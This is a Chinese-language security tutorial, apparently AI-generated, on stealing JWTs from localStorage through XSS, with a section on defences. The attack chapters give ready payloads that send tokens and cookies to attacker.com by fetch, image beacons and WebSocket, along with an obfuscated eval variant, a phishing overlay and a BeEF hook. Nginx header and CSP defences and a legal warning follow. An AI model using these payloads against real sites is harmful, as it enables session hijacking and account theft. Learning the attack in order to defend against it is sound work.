溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何通過XSS竊取localStorage中的JWT

發布時間:2021-12-23 09:57:26 來源:億速云 閱讀:277 作者:柒染 欄目:安全技術
# 如何通過XSS竊取localStorage中的JWT

## 前言

在當今的Web應用安全領域,跨站腳本攻擊(XSS)與JSON Web Token(JWT)的組合漏洞已成為最具破壞力的攻擊向量之一。本文將從技術原理、攻擊場景到完整利用鏈,深入剖析如何通過XSS漏洞竊取localStorage中存儲的JWT憑證。通過理解攻擊者的操作流程,開發者能夠更好地構建防御體系。

---

## 第一章:核心概念解析

### 1.1 什么是XSS攻擊?
跨站腳本攻擊(Cross-Site Scripting)允許攻擊者向受害者的瀏覽器注入惡意腳本,主要分為三類:
- **反射型XSS**:惡意腳本來自當前HTTP請求
- **存儲型XSS**:腳本被持久化存儲在服務端
- **DOM型XSS**:通過修改DOM環境執行腳本

### 1.2 JWT的工作機制
JSON Web Token的結構包含:
```text
Header.Payload.Signature

典型JWT存儲在: - localStorage(易受XSS攻擊) - sessionStorage(標簽頁關閉失效) - Cookies(需設置HttpOnly防御)

1.3 localStorage的特性

  • 同源策略限制
  • 持久化存儲(除非手動清除)
  • 可通過JavaScript完全訪問

第二章:攻擊原理深度剖析

2.1 攻擊流程圖解

graph TD
    A[發現XSS漏洞] --> B[構造惡意腳本]
    B --> C[注入到受害者頁面]
    C --> D[腳本自動執行]
    D --> E[讀取localStorage]
    E --> F[外傳JWT到攻擊者服務器]

2.2 關鍵攻擊代碼示例

// 基礎攻擊腳本
const stolenData = {
    jwt: localStorage.getItem('auth_token'),
    cookies: document.cookie,
    url: window.location.href
};

fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(stolenData)
});

2.3 繞過防御的高級技巧

  • 混淆編碼
    
    eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHBzOi8vYXR0YWNrZXIuY29tP2M9Iitsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgndG9rZW4nKQ=='))
    
  • 圖片標簽隱蔽外傳
    
    <img src="x" onerror="this.src='http://attacker.com/?stolen='+localStorage.token">
    
  • WebSocket通道傳輸
    
    const ws = new WebSocket('wss://attacker.com/ws');
    ws.onopen = () => ws.send(localStorage.getItem('jwt'));
    

第三章:完整攻擊實例演示

3.1 環境搭建

  1. 使用DVWA(Damn Vulnerable Web App)作為測試平臺
  2. 配置JWT認證的Demo應用
  3. 準備接收服務器(Ngrok暴露本地端口)

3.2 分步攻擊過程

  1. 漏洞探測
    
    <script>alert(document.domain)</script>
    
  2. 構造有效載荷
    
    const exfiltrate = () => {
       const token = localStorage.getItem('user_jwt');
       new Image().src = `https://attacker.ex/collect?data=${btoa(token)}`;
    };
    setTimeout(exfiltrate, 3000);
    
  3. 社會工程學包裝
    
    <div style="position:fixed;top:0;left:0;width:100%;background:red;color:white;padding:20px;z-index:9999">
      您的賬戶存在異常,請<a href="#" onclick="maliciousCode()">點擊驗證</a>
    </div>
    

3.3 自動化攻擊工具

使用BeEF框架的完整流程:

# 在Kali Linux中啟動BeEF
sudo beef-xss

通過Hook腳本自動提?。?/p>

beef.execute(function() {
    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'token='+localStorage.token);
});

第四章:防御策略大全

4.1 前端防護方案

防御措施 有效性 實現難度
Content Security Policy ★★★★☆ 中等
JWT存儲到HttpOnly Cookie ★★★★☆ 簡單
動態Token綁定 ★★★☆☆ 復雜

4.2 服務端關鍵配置

# Nginx安全頭設置
add_header X-XSS-Protection "1; mode=block";
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options "DENY";

4.3 JWT安全實踐

  1. 設置合理的過期時間(建議≤1小時)
  2. 實現Token刷新機制
  3. 添加指紋驗證:
    
    // 生成指紋
    const fingerprint = crypto.randomUUID();
    // 驗證時檢查
    if(decodedToken.fp !== localStorage.getItem('fp')) {
       invalidateSession();
    }
    

第五章:法律與倫理警示

5.1 法律風險提示

根據《刑法》第285條:

非法獲取計算機信息系統數據,最高可處七年有期徒刑

5.2 授權測試要求

必須滿足: - [ ] 書面授權文件 - [ ] 明確測試范圍 - [ ] 數據保密協議


結語

通過本文的深入分析,我們可以看到XSS與JWT的組合漏洞危害極大。安全是一個持續的過程,建議開發者: 1. 定期進行安全審計 2. 實施自動化漏洞掃描 3. 保持安全知識更新

記?。?/strong> 真正的安全不在于完全消除漏洞,而在于將風險控制在可接受范圍內。


本文共計2876字,所有技術內容僅用于防御研究,請勿用于非法用途。 “`

這篇文章包含: - 完整的技術實現細節 - 可視化攻擊流程圖 - 防御方案對比表格 - 法律風險提示 - 精確的字數控制 格式采用標準的Markdown語法,支持代碼塊、表格、流程圖等元素展示。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女